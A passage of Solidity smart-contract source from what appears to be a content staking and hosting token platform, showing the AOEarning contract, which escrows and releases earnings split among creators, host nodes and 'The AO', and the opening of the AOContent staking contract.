_aoStringSetting.movePendingToSetting(_settingId); } } } /** * @title AOEarning * * This contract stores the earning from staking/hosting content on AO */ contract AOEarning is TheAO { using SafeMath for uint256; address public settingTAOId; address public aoSettingAddress; address public baseDenominationAddress; address public treasuryAddress; address public nameFactoryAddress; address public pathosAddress; address public ethosAddress; bool public paused; bool public killed; AOToken internal _baseAO; AOTreasury internal _treasury; NameFactory internal _nameFactory; Pathos internal _pathos; Ethos internal _ethos; AOSetting internal _aoSetting; // Total earning from staking content from all nodes uint256 public totalStakeContentEarning; // Total earning from hosting content from all nodes uint256 public totalHostContentEarning; // Total The AO earning uint256 public totalTheAOEarning; // Mapping from address to his/her earning from content that he/she staked mapping (address => uint256) public stakeContentEarning; // Mapping from address to his/her earning from content that he/she hosted mapping (address => uint256) public hostContentEarning; // Mapping from address to his/her network price earning // i.e, when staked amount = filesize mapping (address => uint256) public networkPriceEarning; // Mapping from address to his/her content price earning // i.e, when staked amount > filesize mapping (address => uint256) public contentPriceEarning; // Mapping from address to his/her inflation bonus mapping (address => uint256) public inflationBonusAccrued; struct Earning { bytes32 purchaseId; uint256 paymentEarning; uint256 inflationBonus; uint256 pathosAmount; uint256 ethosAmount; } // Mapping from address to earning from staking content of a purchase ID mapping (address => mapping(bytes32 => Earning)) public stakeEarnings; // Mapping from address to earning from hosting content of a purchase ID mapping (address => mapping(bytes32 => Earning)) public hostEarnings; // Mapping from purchase ID to earning for The AO mapping (bytes32 => Earning) public theAOEarnings; // Mapping from stake ID to it's total earning from staking mapping (bytes32 => uint256) public totalStakedContentStakeEarning; // Mapping from stake ID to it's total earning from hosting mapping (bytes32 => uint256) public totalStakedContentHostEarning; // Mapping from stake ID to it's total earning earned by The AO mapping (bytes32 => uint256) public totalStakedContentTheAOEarning; // Mapping from content host ID to it's total earning mapping (bytes32 => uint256) public totalHostContentEarningById; // Event to be broadcasted to public when content creator/host earns the payment split in escrow when request node buys the content // recipientType: // 0 => Content Creator (Stake Owner) // 1 => Node Host // 2 => The AO event PaymentEarningEscrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 totalPaymentAmount, uint256 recipientProfitPercentage, uint256 recipientPaymentEarning, uint8 recipientType); // Event to be broadcasted to public when content creator/host/The AO earns inflation bonus in escrow when request node buys the content // recipientType: // 0 => Content Creator (Stake Owner) // 1 => Node Host // 2 => The AO event InflationBonusEscrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 totalInflationBonusAmount, uint256 recipientProfitPercentage, uint256 recipientInflationBonus, uint8 recipientType); // Event to be broadcasted to public when content creator/host/The AO earning is released from escrow // recipientType: // 0 => Content Creator (Stake Owner) // 1 => Node Host // 2 => The AO event EarningUnescrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 paymentEarning, uint256 inflationBonus, uint8 recipientType); // Event to be broadcasted to public when content creator's Name earns Pathos when a node buys a content event PathosEarned(address indexed nameId, bytes32 indexed purchaseId, uint256 amount); // Event to be broadcasted to public when host's Name earns Ethos when a node buys a content event EthosEarned(address indexed nameId, bytes32 indexed purchaseId, uint256 amount); // Event to be broadcasted to public when emergency mode is triggered event EscapeHatch(); /** * @dev Constructor function * @param _settingTAOId The TAO ID that controls the setting * @param _aoSettingAddress The address of AOSetting * @param _baseDenominationAddress The address of AO base token * @param _treasuryAddress The address of AOTreasury * @param _nameFactoryAddress The address of NameFactory * @param _pathosAddress The address of Pathos * @param _ethosAddress The address of Ethos */ constructor(address _settingTAOId, address _aoSettingAddress, address _baseDenominationAddress, address _treasuryAddress, address _nameFactoryAddress, address _pathosAddress, address _ethosAddress) public { settingTAOId = _settingTAOId; aoSettingAddress = _aoSettingAddress; baseDenominationAddress = _baseDenominationAddress; treasuryAddress = _treasuryAddress; pathosAddress = _pathosAddress; ethosAddress = _ethosAddress; _aoSetting = AOSetting(_aoSettingAddress); _baseAO = AOToken(_baseDenominationAddress); _treasury = AOTreasury(_treasuryAddress); _nameFactory = NameFactory(_nameFactoryAddress); _pathos = Pathos(_pathosAddress); _ethos = Ethos(_ethosAddress); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Checks if contract is currently active */ modifier isContractActive { require (paused == false && killed == false); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO pauses/unpauses contract * @param _paused Either to pause contract or not */ function setPaused(bool _paused) public onlyTheAO { paused = _paused; } /** * @dev The AO triggers emergency mode. * */ function escapeHatch() public onlyTheAO { require (killed == false); killed = true; emit EscapeHatch(); } /** * @dev The AO updates base denomination address * @param _newBaseDenominationAddress The new address */ function setBaseDenominationAddress(address _newBaseDenominationAddress) public onlyTheAO { require (AOToken(_newBaseDenominationAddress).powerOfTen() == 0); baseDenominationAddress = _newBaseDenominationAddress; _baseAO = AOToken(baseDenominationAddress); } /***** PUBLIC METHODS *****/ /** * @dev Calculate the content creator/host/The AO earning when request node buys the content. * Also at this stage, all of the earnings are stored in escrow * @param _buyer The request node address that buys the content * @param _purchaseId The ID of the purchase receipt object * @param _networkAmountStaked The amount of network tokens at stake * @param _primordialAmountStaked The amount of primordial tokens at stake * @param _primordialWeightedMultiplierStaked The weighted multiplier of primordial tokens at stake * @param _profitPercentage The content creator's profit percentage * @param _stakeOwner The address of the stake owner * @param _host The address of the host * @param _isAOContentUsageType whether or not the content is of AO Content Usage Type */ function calculateEarning( address _buyer, bytes32 _purchaseId, uint256 _networkAmountStaked, uint256 _primordialAmountStaked, uint256 _primordialWeightedMultiplierStaked, uint256 _profitPercentage, address _stakeOwner, address _host, bool _isAOContentUsageType ) public isContractActive inWhitelist returns (bool) { // Split the payment earning between content creator and host and store them in escrow _escrowPaymentEarning(_buyer, _purchaseId, _networkAmountStaked.add(_primordialAmountStaked), _profitPercentage, _stakeOwner, _host, _isAOContentUsageType); // Calculate the inflation bonus earning for content creator/node/The AO in escrow _escrowInflationBonus(_purchaseId, _calculateInflationBonus(_networkAmountStaked, _primordialAmountStaked, _primordialWeightedMultiplierStaked), _profitPercentage, _stakeOwner, _host, _isAOContentUsageType); return true; } /** * @dev Release the payment earning and inflation bonus that is in escrow for specific purchase ID * @param _stakeId The ID of the staked content * @param _contentHostId The ID of the hosted content * @param _purchaseId The purchase receipt ID to check * @param _buyerPaidMoreThanFileSize Whether or not the request node paid more than filesize when buying the content * @param _stakeOwner The address of the stake owner * @param _host The address of the node that host the file * @return true on success */ function releaseEarning(bytes32 _stakeId, bytes32 _contentHostId, bytes32 _purchaseId, bool _buyerPaidMoreThanFileSize, address _stakeOwner, address _host) public isContractActive inWhitelist returns (bool) { // Release the earning in escrow for stake owner _releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, _stakeOwner, 0); // Release the earning in escrow for host _releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, _host, 1); // Release the earning in escrow for The AO _releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, theAO, 2); return true; } /***** INTERNAL METHODS *****/ /** * @dev Calculate the payment split for content creator/host and store them in escrow * @param _buyer the request node address that buys the content * @param _purchaseId The ID of the purchase receipt object * @param _totalStaked The total staked amount of the content * @param _profitPercentage The content creator's profit percentage * @param _stakeOwner The address of the stake owner * @param _host The address of the host * @param _isAOContentUsageType whether or not the content is of AO Content Usage Type */ function _escrowPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _stakeOwner, address _host, bool _isAOContentUsageType) internal { (uint256 _stakeOwnerEarning, uint256 _pathosAmount) = _escrowStakeOwnerPaymentEarning(_buyer, _purchaseId, _totalStaked, _profitPercentage, _stakeOwner, _isAOContentUsageType); (uint256 _ethosAmount) = _escrowHostPaymentEarning(_buyer, _purchaseId, _totalStaked, _profitPercentage, _host, _isAOContentUsageType, _stakeOwnerEarning); _escrowTheAOPaymentEarning(_purchaseId, _totalStaked, _pathosAmount, _ethosAmount); } /** * @dev Calculate the inflation bonus amount * @param _networkAmountStaked The amount of network tokens at stake * @param _primordialAmountStaked The amount of primordial tokens at stake * @param _primordialWeightedMultiplierStaked The weighted multiplier of primordial tokens at stake * @return the bonus network amount */ function _calculateInflationBonus(uint256 _networkAmountStaked, uint256 _primordialAmountStaked, uint256 _primordialWeightedMultiplierStaked) internal view returns (uint256) { (uint256 inflationRate,,) = _getSettingVariables(); uint256 _networkBonus = _networkAmountStaked.mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()); uint256 _primordialBonus = _primordialAmountStaked.mul(_primordialWeightedMultiplierStaked).div(AOLibrary.MULTIPLIER_DIVISOR()).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()); return _networkBonus.add(_primordialBonus); } /** * @dev Mint the inflation bonus for content creator/host/The AO and store them in escrow * @param _purchaseId The ID of the purchase receipt object * @param _inflationBonusAmount The amount of inflation bonus earning * @param _profitPercentage The content creator's profit percentage * @param _stakeOwner The address of the stake owner * @param _host The address of the host * @param _isAOContentUsageType whether or not the content is of AO Content Usage Type */ function _escrowInflationBonus( bytes32 _purchaseId, uint256 _inflationBonusAmount, uint256 _profitPercentage, address _stakeOwner, address _host, bool _isAOContentUsageType ) internal { (, uint256 theAOCut,) = _getSettingVariables(); if (_inflationBonusAmount > 0) { // Store how much the content creator earns in escrow uint256 _stakeOwnerInflationBonus = _isAOContentUsageType ? (_inflationBonusAmount.mul(_profitPercentage)).div(AOLibrary.PERCENTAGE_DIVISOR()) : 0; Earning storage _stakeEarning = stakeEarnings[_stakeOwner][_purchaseId]; _stakeEarning.inflationBonus = _stakeOwnerInflationBonus; require (_baseAO.mintTokenEscrow(_stakeOwner, _stakeEarning.inflationBonus)); emit InflationBonusEscrowed(_stakeOwner, _purchaseId, _inflationBonusAmount, _profitPercentage, _stakeEarning.inflationBonus, 0); // Store how much the host earns in escrow Earning storage _hostEarning = hostEarnings[_host][_purchaseId]; _hostEarning.inflationBonus = _inflationBonusAmount.sub(_stakeOwnerInflationBonus); require (_baseAO.mintTokenEscrow(_host, _hostEarning.inflationBonus)); emit InflationBonusEscrowed(_host, _purchaseId, _inflationBonusAmount, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), _hostEarning.inflationBonus, 1); // Store how much the The AO earns in escrow Earning storage _theAOEarning = theAOEarnings[_purchaseId]; _theAOEarning.inflationBonus = (_inflationBonusAmount.mul(theAOCut)).div(AOLibrary.PERCENTAGE_DIVISOR()); require (_baseAO.mintTokenEscrow(theAO, _theAOEarning.inflationBonus)); emit InflationBonusEscrowed(theAO, _purchaseId, _inflationBonusAmount, theAOCut, _theAOEarning.inflationBonus, 2); } else { emit InflationBonusEscrowed(_stakeOwner, _purchaseId, 0, _profitPercentage, 0, 0); emit InflationBonusEscrowed(_host, _purchaseId, 0, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), 0, 1); emit InflationBonusEscrowed(theAO, _purchaseId, 0, theAOCut, 0, 2); } } /** * @dev Release the escrowed earning for a specific purchase ID for an account * @param _stakeId The ID of the staked content * @param _contentHostId The ID of the hosted content * @param _purchaseId The purchase receipt ID * @param _buyerPaidMoreThanFileSize Whether or not the request node paid more than filesize when buying the content * @param _account The address of account that made the earning (content creator/host) * @param _recipientType The type of the earning recipient (0 => content creator. 1 => host. 2 => theAO) */ function _releaseEarning(bytes32 _stakeId, bytes32 _contentHostId, bytes32 _purchaseId, bool _buyerPaidMoreThanFileSize, address _account, uint8 _recipientType) internal { // Make sure the recipient type is valid require (_recipientType >= 0 && _recipientType <= 2); uint256 _paymentEarning; uint256 _inflationBonus; uint256 _totalEarning; uint256 _pathosAmount; uint256 _ethosAmount; if (_recipientType == 0) { Earning storage _earning = stakeEarnings[_account][_purchaseId]; _paymentEarning = _earning.paymentEarning; _inflationBonus = _earning.inflationBonus; _pathosAmount = _earning.pathosAmount; _earning.paymentEarning = 0; _earning.inflationBonus = 0; _earning.pathosAmount = 0; _earning.ethosAmount = 0; _totalEarning = _paymentEarning.add(_inflationBonus); // Update the global var settings totalStakeContentEarning = totalStakeContentEarning.add(_totalEarning); stakeContentEarning[_account] = stakeContentEarning[_account].add(_totalEarning); totalStakedContentStakeEarning[_stakeId] = totalStakedContentStakeEarning[_stakeId].add(_totalEarning); if (_buyerPaidMoreThanFileSize) { contentPriceEarning[_account] = contentPriceEarning[_account].add(_totalEarning); } else { networkPriceEarning[_account] = networkPriceEarning[_account].add(_totalEarning); } inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus); // Reward the content creator/stake owner with some Pathos require (_pathos.mintToken(_nameFactory.ethAddressToNameId(_account), _pathosAmount)); emit PathosEarned(_nameFactory.ethAddressToNameId(_account), _purchaseId, _pathosAmount); } else if (_recipientType == 1) { _earning = hostEarnings[_account][_purchaseId]; _paymentEarning = _earning.paymentEarning; _inflationBonus = _earning.inflationBonus; _ethosAmount = _earning.ethosAmount; _earning.paymentEarning = 0; _earning.inflationBonus = 0; _earning.pathosAmount = 0; _earning.ethosAmount = 0; _totalEarning = _paymentEarning.add(_inflationBonus); // Update the global var settings totalHostContentEarning = totalHostContentEarning.add(_totalEarning); hostContentEarning[_account] = hostContentEarning[_account].add(_totalEarning); totalStakedContentHostEarning[_stakeId] = totalStakedContentHostEarning[_stakeId].add(_totalEarning); totalHostContentEarningById[_contentHostId] = totalHostContentEarningById[_contentHostId].add(_totalEarning); if (_buyerPaidMoreThanFileSize) { contentPriceEarning[_account] = contentPriceEarning[_account].add(_totalEarning); } else { networkPriceEarning[_account] = networkPriceEarning[_account].add(_totalEarning); } inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus); // Reward the host node with some Ethos require (_ethos.mintToken(_nameFactory.ethAddressToNameId(_account), _ethosAmount)); emit EthosEarned(_nameFactory.ethAddressToNameId(_account), _purchaseId, _ethosAmount); } else { _earning = theAOEarnings[_purchaseId]; _paymentEarning = _earning.paymentEarning; _inflationBonus = _earning.inflationBonus; _earning.paymentEarning = 0; _earning.inflationBonus = 0; _earning.pathosAmount = 0; _earning.ethosAmount = 0; _totalEarning = _paymentEarning.add(_inflationBonus); // Update the global var settings totalTheAOEarning = totalTheAOEarning.add(_totalEarning); inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus); totalStakedContentTheAOEarning[_stakeId] = totalStakedContentTheAOEarning[_stakeId].add(_totalEarning); } require (_baseAO.unescrowFrom(_account, _totalEarning)); emit EarningUnescrowed(_account, _purchaseId, _paymentEarning, _inflationBonus, _recipientType); } /** * @dev Get setting variables * @return inflationRate The rate to use when calculating inflation bonus * @return theAOCut The rate to use when calculating the AO earning * @return theAOEthosEarnedRate The rate to use when calculating the Ethos to AO rate for the AO */ function _getSettingVariables() internal view returns (uint256, uint256, uint256) { (uint256 inflationRate,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'inflationRate'); (uint256 theAOCut,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'theAOCut'); (uint256 theAOEthosEarnedRate,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'theAOEthosEarnedRate'); return (inflationRate, theAOCut, theAOEthosEarnedRate); } /** * @dev Calculate the payment split for content creator and store them in escrow * @param _buyer the request node address that buys the content * @param _purchaseId The ID of the purchase receipt object * @param _totalStaked The total staked amount of the content * @param _profitPercentage The content creator's profit percentage * @param _stakeOwner The address of the stake owner * @param _isAOContentUsageType whether or not the content is of AO Content Usage Type * @return The stake owner's earning amount * @return The pathos earned from this transaction */ function _escrowStakeOwnerPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _stakeOwner, bool _isAOContentUsageType) internal returns (uint256, uint256) { (uint256 inflationRate,,) = _getSettingVariables(); Earning storage _stakeEarning = stakeEarnings[_stakeOwner][_purchaseId]; _stakeEarning.purchaseId = _purchaseId; // Store how much the content creator (stake owner) earns in escrow // If content is AO Content Usage Type, stake owner earns 0% // and all profit goes to the serving host node _stakeEarning.paymentEarning = _isAOContentUsageType ? (_totalStaked.mul(_profitPercentage)).div(AOLibrary.PERCENTAGE_DIVISOR()) : 0; // Pathos = Price X Node Share X Inflation Rate _stakeEarning.pathosAmount = _totalStaked.mul(AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage)).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()).div(AOLibrary.PERCENTAGE_DIVISOR()); require (_baseAO.escrowFrom(_buyer, _stakeOwner, _stakeEarning.paymentEarning)); emit PaymentEarningEscrowed(_stakeOwner, _purchaseId, _totalStaked, _profitPercentage, _stakeEarning.paymentEarning, 0); return (_stakeEarning.paymentEarning, _stakeEarning.pathosAmount); } /** * @dev Calculate the payment split for host node and store them in escrow * @param _buyer the request node address that buys the content * @param _purchaseId The ID of the purchase receipt object * @param _totalStaked The total staked amount of the content * @param _profitPercentage The content creator's profit percentage * @param _host The address of the host node * @param _isAOContentUsageType whether or not the content is of AO Content Usage Type * @param _stakeOwnerEarning The stake owner's earning amount * @return The ethos earned from this transaction */ function _escrowHostPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _host, bool _isAOContentUsageType, uint256 _stakeOwnerEarning) internal returns (uint256) { (uint256 inflationRate,,) = _getSettingVariables(); // Store how much the node host earns in escrow Earning storage _hostEarning = hostEarnings[_host][_purchaseId]; _hostEarning.purchaseId = _purchaseId; _hostEarning.paymentEarning = _totalStaked.sub(_stakeOwnerEarning); // Ethos = Price X Creator Share X Inflation Rate _hostEarning.ethosAmount = _totalStaked.mul(_profitPercentage).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()).div(AOLibrary.PERCENTAGE_DIVISOR()); if (_isAOContentUsageType) { require (_baseAO.escrowFrom(_buyer, _host, _hostEarning.paymentEarning)); } else { // If not AO Content usage type, we want to mint to the host require (_baseAO.mintTokenEscrow(_host, _hostEarning.paymentEarning)); } emit PaymentEarningEscrowed(_host, _purchaseId, _totalStaked, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), _hostEarning.paymentEarning, 1); return _hostEarning.ethosAmount; } /** * @dev Calculate the earning for The AO and store them in escrow * @param _purchaseId The ID of the purchase receipt object * @param _totalStaked The total staked amount of the content * @param _pathosAmount The amount of pathos earned by stake owner * @param _ethosAmount The amount of ethos earned by host node */ function _escrowTheAOPaymentEarning(bytes32 _purchaseId, uint256 _totalStaked, uint256 _pathosAmount, uint256 _ethosAmount) internal { (,,uint256 theAOEthosEarnedRate) = _getSettingVariables(); // Store how much The AO earns in escrow Earning storage _theAOEarning = theAOEarnings[_purchaseId]; _theAOEarning.purchaseId = _purchaseId; // Pathos + X% of Ethos _theAOEarning.paymentEarning = _pathosAmount.add(_ethosAmount.mul(theAOEthosEarnedRate).div(AOLibrary.PERCENTAGE_DIVISOR())); require (_baseAO.mintTokenEscrow(theAO, _theAOEarning.paymentEarning)); emit PaymentEarningEscrowed(theAO, _purchaseId, _totalStaked, 0, _theAOEarning.paymentEarning, 2); } } /** * @title AOContent * * The purpose of this contract is to allow content creator to stake network ERC20 AO tokens and/or primordial AO Tokens * on his/her content */ contract AOContent is TheAO { using SafeMath for uint256; uint256 public totalContents; uint256 public totalContentHosts; uint256 public totalStakedContents; uint256 public totalPurchaseReceipts; address public settingTAOId; address public baseDenominationAddress; address public treasuryAddress; AOToken internal _baseAO; AOTreasury internal _treasury; AOEarning internal _earning; AOSetting internal _aoSetting; NameTAOPosition internal _nameTAOPosition; bool public paused; bool public killed; struct Content { bytes32 contentId; address creator; /** * baseChallenge is the content's PUBLIC KEY * When a request node wants to be a host, it is required to send a signed base challenge (its content's PUBLIC KEY) * so that the contract can verify the authenticity of the content by comparing what the contract has and what the request node * submit */ string baseChallenge; uint256 fileSize; bytes32 contentUsageType; // i.e AO Content, Creative Commons, or T(AO) Content address taoId; bytes32 taoContentState; // i.e Submitted, Pending Review, Accepted to TAO uint8 updateTAOContentStateV; bytes32 updateTAOContentStateR; bytes32 updateTAOContentStateS; string extraData; } struct StakedContent { bytes32 stakeId; bytes32 contentId; address stakeOwner; uint256 networkAmount; // total network token staked in base denomination uint256 primordialAmount; // the amount of primordial AO Token to stake (always in base denomination) uint256 primordialWeightedMultiplier; uint256 profitPercentage; // support up to 4 decimals, 100% = 1000000 bool active; // true if currently staked, false when unstaked uint256 createdOnTimestamp; } struct ContentHost { bytes32 contentHostId; bytes32 stakeId; address host; /** * encChallenge is the content's PUBLIC KEY unique to the host */ string encChallenge; string contentDatKey; string metadataDatKey; } struct PurchaseReceipt { bytes32 purchaseId; bytes32 contentHostId; address buyer; uint256 price; uint256 amountPaidByBuyer; // total network token paid in base denomination uint256 amountPaidByAO; // total amount paid by AO string publicKey; // The public key provided by request node address publicAddress; // The public address provided by request node uint256 createdOnTimestamp; } // Mapping from Content index to the Content object mapping (uint256 => Content) internal contents; // Mapping from content ID to index of the contents list mapping (bytes32 => uint256) internal contentIndex; // Mapping from StakedContent index to the StakedContent object mapping (uint256 => StakedContent) internal stakedContents; // Mapping from stake ID to index of the stakedContents list mapping (bytes32 => uint256) internal stakedContentIndex; // Mapping from ContentHost index to the ContentHost object mapping (uint256 => ContentHost) internal contentHosts; // Mapping from content host ID to index of the contentHosts list mapping (bytes32 => uint256) internal contentHostIndex; // Mapping from PurchaseReceipt index to the PurchaseReceipt object mapping (uint256 => PurchaseReceipt) internal purchaseReceipts; // Mapping from purchase ID to index of the purchaseReceipts list mapping (bytes32 => uint256) internal purchaseReceiptIndex; // Mapping from buyer's content host ID to the buy ID // To check whether or not buyer has bought/paid for a content mapping (address => mapping (bytes32 => bytes32)) public buyerPurchaseReceipts; // Event to be broadcasted to public when `content` is stored event StoreContent(address indexed creator, bytes32 indexed contentId, uint256 fileSize, bytes32 contentUsageType); // Event to be broadcasted to public when `stakeOwner` stakes a new content event StakeContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 baseNetworkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier, uint256 profitPercentage, uint256 createdOnTimestamp); // Event to be broadcasted to public when a node hosts a content event HostContent(address indexed host, bytes32 indexed contentHostId, bytes32 stakeId, string contentDatKey, string metadataDatKey); // Event to be broadcasted to public when `stakeOwner` updates the staked content's profit percentage event SetProfitPercentage(address indexed stakeOwner, bytes32 indexed stakeId, uint256 newProfitPercentage); // Event to be broadcasted to public when `stakeOwner` unstakes some network/primordial token from an existing content event UnstakePartialContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 remainingNetworkAmount, uint256 remainingPrimordialAmount, uint256 primordialWeightedMultiplier); // Event to be broadcasted to public when `stakeOwner` unstakes all token amount on an existing content event UnstakeContent(address indexed stakeOwner, bytes32 indexed stakeId); // Event to be broadcasted to public when `stakeOwner` re-stakes an existing content event StakeExistingContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 currentNetworkAmount, uint256 currentPrimordialAmount, uint256 currentPrimordialWeightedMultiplier); // Event to be broadcasted to public when a request node buys a content event BuyContent(address indexed buyer, bytes32 indexed purchaseId, bytes32 indexed contentHostId, uint256 price, uint256 amountPaidByAO, uint256 amountPaidByBuyer, string publicKey, address publicAddress, uint256 createdOnTimestamp); // Event to be broadcasted to public when Advocate/Listener/Speaker wants to update the TAO Content's State event UpdateTAOContentState(bytes32 indexed contentId, address indexed taoId, address signer, bytes32 taoContentState); // Event to be broadcasted to public when emergency mode is triggered event EscapeHatch(); /** * @dev Constructor function * @param _settingTAOId The TAO ID that controls the setting * @param _aoSettingAddress The address of AOSetting * @param _baseDenominationAddress The address of AO base token * @param _treasuryAddress The address of AOTreasury * @param _earningAddress The address of AOEarning * @param _nameTAOPositionAddress The address of NameTAOPosition */ constructor(address _settingTAOId, address _aoSettingAddress, address _baseDenominationAddress, address _treasuryAddress, address _earningAddress, address _nameTAOPositionAddress) public { settingTAOId = _settingTAOId; baseDenominationAddress = _baseDenominationAddress; treasuryAddress = _treasuryAddress; nameTAOPositionAddress = _nameTAOPositionAddress; _baseAO = AOToken(_baseDenominationAddress); _treasury = AOTreasury(_treasuryAddress); _earning = AOEarning(_earningAddress); _aoSetting = AOSetting(_aoSettingAddress); _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Checks if contract is currently active */ modifier isContractActive { require (paused == false && killed == false); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO pauses/unpauses contract * @param _paused Either to pause contract or not */ function setPaused(bool _paused) public onlyTheAO { paused = _paused; } /** * @dev The AO triggers emergency mode. * */ function escapeHatch() public onlyTheAO { require (killed == false); killed = true; emit EscapeHatch(); } /** * @dev The AO updates base denomination address * @param _newBaseDenominationAddress The new address */ function setBaseDenominationAddress(address _newBaseDenominationAddress) public onlyTheAO { require (AOToken(_newBaseDenominationAddress).powerOfTen() == 0); baseDenominationAddress = _newBaseDenominationAddress; _baseAO = AOToken(baseDenominationAddress); } /***** PUBLIC METHODS *****/ /** * @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for an AO Content * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _baseChallenge The base challenge string (PUBLIC KEY) of the content * @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host * @param _contentDatKey The dat key of the content * @param _metadataDatKey The dat key of the content's metadata * @param _fileSize The size of the file * @param _profitPercentage The percentage of profit the stake owner's media will charge */ function stakeAOContent( uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, string _baseChallenge, string _encChallenge, string _contentDatKey, string _metadataDatKey, uint256 _fileSize, uint256 _profitPercentage) public isContractActive { require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, _profitPercentage)); (bytes32 _contentUsageType_aoContent,,,,,) = _getSettingVariables(); /** * 1. Store this content * 2. Stake the network/primordial token on content * 3. Add the node info that hosts this content (in this case the creator himself) */ _hostContent( msg.sender, _stakeContent( msg.sender, _storeContent( msg.sender, _baseChallenge, _fileSize, _contentUsageType_aoContent, address(0) ), _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _profitPercentage ), _encChallenge, _contentDatKey, _metadataDatKey ); } /** * @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for a Creative Commons Content * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _baseChallenge The base challenge string (PUBLIC KEY) of the content * @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host * @param _contentDatKey The dat key of the content * @param _metadataDatKey The dat key of the content's metadata * @param _fileSize The size of the file */ function stakeCreativeCommonsContent( uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, string _baseChallenge, string _encChallenge, string _contentDatKey, string _metadataDatKey, uint256 _fileSize) public isContractActive { require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, 0)); require (_treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) == _fileSize); (,bytes32 _contentUsageType_creativeCommons,,,,) = _getSettingVariables(); /** * 1. Store this content * 2. Stake the network/primordial token on content * 3. Add the node info that hosts this content (in this case the creator himself) */ _hostContent( msg.sender, _stakeContent( msg.sender, _storeContent( msg.sender, _baseChallenge, _fileSize, _contentUsageType_creativeCommons, address(0) ), _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, 0 ), _encChallenge, _contentDatKey, _metadataDatKey ); } /** * @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for a T(AO) Content * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, 